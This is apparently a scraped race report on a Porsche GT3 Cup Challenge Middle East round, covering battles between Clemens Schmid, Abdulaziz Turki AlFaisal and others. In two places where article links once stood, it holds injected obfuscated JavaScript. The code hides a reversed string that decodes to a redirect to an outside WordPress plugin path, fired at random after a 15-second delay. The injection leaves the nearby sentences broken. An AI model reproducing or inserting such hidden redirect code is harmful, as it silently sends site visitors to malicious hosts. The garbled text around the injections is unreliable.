Abdulaziz Turki AlFaisal wasn’t about to let the Al Nabooda Racing GT3 walk away with this. One day earlier the Porsche GT3 Cup Challenge Middle East reigning Champion – and current points leader – had been unable to stop Clemens Schmid waltzing away to victory, a flawless drive by the Austrian, home turf advantage for the Al Nabooda squad, and an early race contretemps with the second Al Nabooda car of Karim Al-Azhari putting paid to his efforts.
The second race though would prove far closer, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-gt3-middle-east-round-3-race-1-back-on-top/” target=”_blank”>Schmid’s 5s advantage the day before completely wiped out as the two Championship rivals circulated together. It had been an even start, Schmid laying the rubber down furiously to maintain his prime spot into turn one. ATF made a slightly better start but could not quite make the jump, locking onto the Al Nabooda rear bumper and never falling further than a couple of tenths behind. Slipstream territory.
Lap after lap the two circulated, unaware of the battles hotting up further down the field. Out qualified by Gold Cup guest driver – and last season’s runner-up – Bandar Alesayi, Al-Azhari was already on a charge as the lights went out. A good start meant Alesayi showed a clean pair of heels, but a rejuvenated Al-Azhari (keen to make amends for the penalty that had robbed him of third one day earlier) sent a late braking manoeuvre down the inside of Alesayi as the field entered the twisting complex at the back of the circuit on the opening lap. Through and onto the podium, Al-Azhari enjoyed a quiet afternoon as he began to open the gap. Fourth was still a solid result for the returnee.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-gt3-middle-east-round-2-abu-dhabi-picking-a-winner/” target=”_blank”>Fresh from his podium finish in Abu Dhabi, Zaid Ashkanani led the charge after Silver Cup polesitter Abdul Rahman Al Thani binned his #6 entry early doors. The challenge to Ashkanani was briefly taken up by Charlie Frijns, who like Al Thani before him, overcooked his braking and dropped both his rears onto the white lines and his GT3 out of the race. Nearly 3s ahead, Ashkanani was free and clear to take class victory and fifth place at the flag.
